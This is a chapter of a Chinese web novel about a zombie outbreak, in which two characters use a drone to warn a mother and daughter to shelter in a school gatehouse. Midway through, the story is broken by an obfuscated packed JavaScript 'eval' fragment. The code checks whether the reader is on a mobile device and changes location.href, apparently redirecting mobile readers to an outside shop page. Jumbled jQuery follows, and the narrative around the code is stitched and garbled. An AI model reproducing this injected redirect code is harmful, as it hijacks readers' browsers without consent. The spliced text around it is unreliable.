章渺云起身向窗外看去。
交叉路口最前面的三辆轿车首尾相连挤成一堆，除了中间那辆车实在是被撞得看不出形状外，其余两辆车车头还算完整，只是车上人都晕了过去。不知道哪辆车的喇叭被压住了，一直响个不停，让原本因下课铃聚集到学校围墙处的几头丧尸转而跑向路口。
车祸点三米开外直行和右转的路口那各有几辆车停着，有人尖叫着从车上下来跑离现场，也有人试图上前救援，路口乱成一团。
街道边的商铺都紧闭店门，格外安静，更衬得事故现场吵闹不堪。
这么大的动静只怕会把更远处的丧尸都吸引过来。章渺云忍不住皱眉。
“这边平常来往的车辆都不多，怎么这个时候发生了车祸？”不知道什么时候，许意也来到了窗边。
“说起来，诊所附近平常人流量也不大，但是当时一下子涌出来一堆丧尸，场面很快就失控了。”
蓦地，两人对视，神情严肃。
“除非，市中心或者说其他地方更早就爆发了，大家都逃往更偏僻的地方。”许意开口道，“这不是一个好兆头。”
章渺云点点头：“如果是这样的话，周围的角落都有可能藏匿丧尸，危险性大大提高。”
“我建议你先别离开。”许意转头看向窗外，“这场车祸绝对会聚集一大批丧尸过来，虽然我没直接接触丧尸，不知道他们的攻击力到底怎么样，也不清楚传播速度，但是小心为上。”
说罢，他看向章渺云，神色一如既往的认真。
“那当然啦，我的命宝贵的很。”她粲然一笑。虽然章渺云心里确实是这么想的，但是对方主动提出来又不一样了。
“那就好，我这虽然不大，也没有新鲜食材，但是速食管饱。泡面闷到现在差不多是半生的口感，你先去吃吧，我来看。”许意微笑，自然地将章渺云推向小吧台，自己则转身继续观察窗外。
别说，本来早上就吃的不多，过度消耗体力和脑力早就让她饿得慌了，但直面丧尸自由落体后她就恶心得反胃，碍于吐在吊篮里会反复刺激自己她硬是忍住了，到后来饿过头反而没感觉了。现在泡面的香味蔓延开来勾人得很，她就不客气啦。
章渺云坐下享用美味的香辣牛肉方便面，半生还没有蔬菜包，简直太棒了。
“你也不爱吃蔬菜包啊。”她扭头问，右手夹了一筷子面送入口中。
“我挺喜欢的，你不是不爱吃吗，我就没给你放了。”许意回头，背光使人看不清他的神情。
章渺云一怔随即又低头吃面。是错觉吧。
“那什么，路口情况怎么样了？”转移话题她可是很擅长的。
“学校围墙过去的几头丧尸绕着车祸点打转，车内的应该没什么希望了。其他人还好，目前没有被攻击，不过看神情，估计其他街的也围过来了。”
章渺云放下手中的泡面走到窗户边，街上的人三两结伴互相警戒，确实还没人被丧尸抓咬。只是——
“那对母女走得太慢了。”
街上，年轻的女儿搀扶着母亲，两人走的比其他人慢多了，大概是受了伤。
许意顺着她的视线望去，仔细观察：“看他们神色淡定，应该对这里也比较熟悉，已经想好了藏身处。”
“这方向，是打算来这里？”她不太确定。
许意微微蹙眉：“我没记错的话，去年学校的后门就已经拆除了，现在要进来的话只能从前门进了。”
“太远了，而且操场上和教学里都有丧尸在游荡，就算没被身后的丧尸追上，学校里的也很难躲过。”章渺云不看好母女俩的选择。
许意：“不一定，快上课了。”
“对哦，上课铃响能吸引丧尸。”她眼睛亮了起来。
“所以，你想的话我们也能帮他们。”许意望向章渺云。
“帮？我这个废柴连自己的命都不一定保得住。”她垂眸自嘲道。
许意却是很了解的口吻：“平常你肯定懒得管，这种生死攸关的时候有能力却不帮一下，你就会一直想着。”
章渺云扭头正视许意：“没有必要冒险。”
“那我们就不冒险。”说着，许意走到小吧台后一阵翻找，“我们只传递这个消息，至于他们怎么选择，是他们的事。”
不一会儿，他举起一个无人机。
“上周用过充满电后就没再碰了，现在正好派上用场。”许意边说边摆弄无人机和遥控器，确认电量。
“能在室内起飞吗？”章渺云疑惑。
“一般来说不太行，但也看室内环境和个人经验，我室内飞过挺多次了，应该不成问题。不过，你是不是该动手了？”
章渺云领会到他的言外之意，笑道：“行，我来写情报。”
“纸笔在书柜从下往上数第三层。”
一切准备就绪，上方贴着纸条的无人机缓缓升起，在许意的操控下从窗口飞出。
街上，文雅搀扶着母亲李雁向小学旧址前门走去。
“妈，还是我背着你跑吧。”文雅环视四周焦急道。
“不用，小雅，妈还能走。这条街我走了多少年了，周围住户早就搬走了，除了车祸那其他地方不会有丧尸的。再说了，咱这一路走来碰没碰着丧尸你不是也亲眼看到了。”李雁摆摆手，拒绝了女儿文雅的请求。
“不怕一万就怕万一啊。”文雅向来就犟不过母亲。
“嗡嗡嗡”母女身后传来声音。
文雅转身看向声源处，一架无人机正朝他们前进的方向飞来，掠过两人头顶。
“小雅，那上面是不是有东西啊？”李雁拍拍女儿的手臂，示意她看向正在降落的无人机。
“妈，我去看看。”等母亲站稳，文雅松手走向无人机，撕下纸条。
使命完成，无人机再度升起，准备返航。
“学校操场及教学楼有丧尸，如果要来此躲避，可以趁十一点零五的上课铃响起时行动，铃声会持续三十秒，其余的我们也帮不上忙了。”
“十一点零五。”文雅拿出手机确认时间，“只有三分钟了。”
“妈，快上来，我背你。”将纸条递给母亲，文雅单膝下蹲，示意她快点上来。
看着女儿焦急的模样，李雁也不再推辞，赶紧趴在女儿背上，幸好她不算重。
“怎么会进丧尸啊？你舅舅不是说今天这边工地放假吗？”看完纸条上的消息，李雁不禁嘀咕。
“妈，这片你熟，快想想学校里还有什么好躲藏的地方。”
“那教学楼里有丧尸不能进，以前的小卖部又拆了，现在只有门卫室能躲了。”李雁没好气道。“能躲就行。妈，你抓紧点，我要加速了。”
文雅背着李雁狂奔。
许意工作室内。
“怎么样？他们还是要来这里吗？”章渺云凑上前来问道。
“嗯。”
原本许意打算直接操控无人机返航，可他心念一动，让无人机升到顶楼上方十米处，远远看着母女俩。
“哇，她也太厉害了吧，背着人还能跑这么快。”章渺云看着遥控器中的画面感叹。
“确实。照这速度，能赶上上课铃的点。”
“你说他们打算躲哪啊？”她很好奇，毕竟教学楼和操场都不安全。
“你忘了，还有一个门卫室，和自行车棚连一起。”
“我想起来了，车棚是不是在那个小花园后面？”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156319|196556||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“没错，平常很容易被忽略。”
“我跑过来的时候一心只想着进教学楼，都没看到门卫室。”
“那小卖部呢？”
“拆了，好像是要重建成厨房，到时候和一楼打通，弄个本地特色菜馆。”
“哇，如果顺利弄成也挺好的，可惜现在应该是做不到了。”
闲聊之间，母女俩也已经赶到前门附近。
“行了小雅，放我下来吧。”李雁拍了拍女儿的肩膀，暗示文雅蹲下。
“一、二、三......七、八。”文雅就着下蹲的姿势观察学校里的情况，“能看到的丧尸就有八只，妈，等会儿一定要安静。”她转头提醒母亲，却没看见人。
“妈？你在那干什么？”
李雁蹲在一个大花盆前，不知道在干什么。
“你舅舅不是老容易忘事嘛，他藏了一个门卫室的备用钥匙在这。”李雁四处翻找，终于在靠近花朵图案那一块的土里扒拉出了一枚钥匙。
“没这个，我可不敢带你来这。”
“还得是我妈，靠谱。”文雅竖起大拇指。
“丁零零”十一点零五的上课铃准时响起。
“走”
母女俩互相搀扶着进了校门，直奔门卫室。
有手上的钥匙在，他们很快就打开了门锁，铃声结束，门也正好合上。
除了远处传来的汽车喇叭声，周围再没其他动静。
“门卫室的钥匙都有，果然对这很熟悉。”
看到两人进门后，许意便操控无人机正式返航。
“这样也好，我们互不打扰，也不用怕到时候被坑。”许意随口说道。
虽然知道常人都会这么想，但章渺云还是觉得许意其实是故意说给自己听的，他好像总能看出她在想什么。
“确实。对了，你手机能借我一下吗？”尽管冒昧了些，但她还是不得不提，谁让系统在脑子里一直吵。
“宿主您好，刷题模式已锁定请前往查看。”
“宿主您好，检验题目结果已出来，无任何问题，请您查看。”
“宿主您好，刷题系统已正式开启，请您设置本周自定义刷题模式学习模块并制订刷题计划。”
接过许意递来的手机，章渺云尴尬地笑了笑：“之前一直在备考来着，每天刷题都成习惯了，现在正好也没事，我刷会儿题。”
都丧尸爆发了，谁还会刷题啊。哦，是她这个倒霉的幸运蛋。
“系统，你消停点。我脑袋都要炸了。我和人说话呢，你一直吵我真的很难控制表情。”章渺云无话可说了。
“宿主您好，防止宿主早恋是系统的职责。”
“不是，你从哪看出来我和他在早恋啊？再说了，以我现在这个年纪，和谁谈恋爱都不能说是早恋吧。再退一步，这种求生境遇下，谁有空谈恋爱啊。”如果可以的话，这个白眼她要翻到系统脸上去。
章渺云向下滑动手机页面，悄悄转过身子，走向沙发。
毕竟每次和系统对话的时候，她都忍不住看向正前方一个点，这种表情在旁人看来就很痴呆啊。
“自定义刷题模式，我看看具体都有什么功能。”瘫在沙发上，章渺云边划手机边看虚拟面板。
“嗡嗡嗡”手机震动弹窗一则消息。
看清消息的内容，章渺云眼睛越瞪越大。
“系统？”她不由得说出口
“宿主您好，我在。”
“没喊你。”章渺云心中没好气道。
“什么？”许意问道。
对上许意疑惑的眼神，章渺云赶紧将手机递给他。
“许意你快看看，我是不是眼花了？”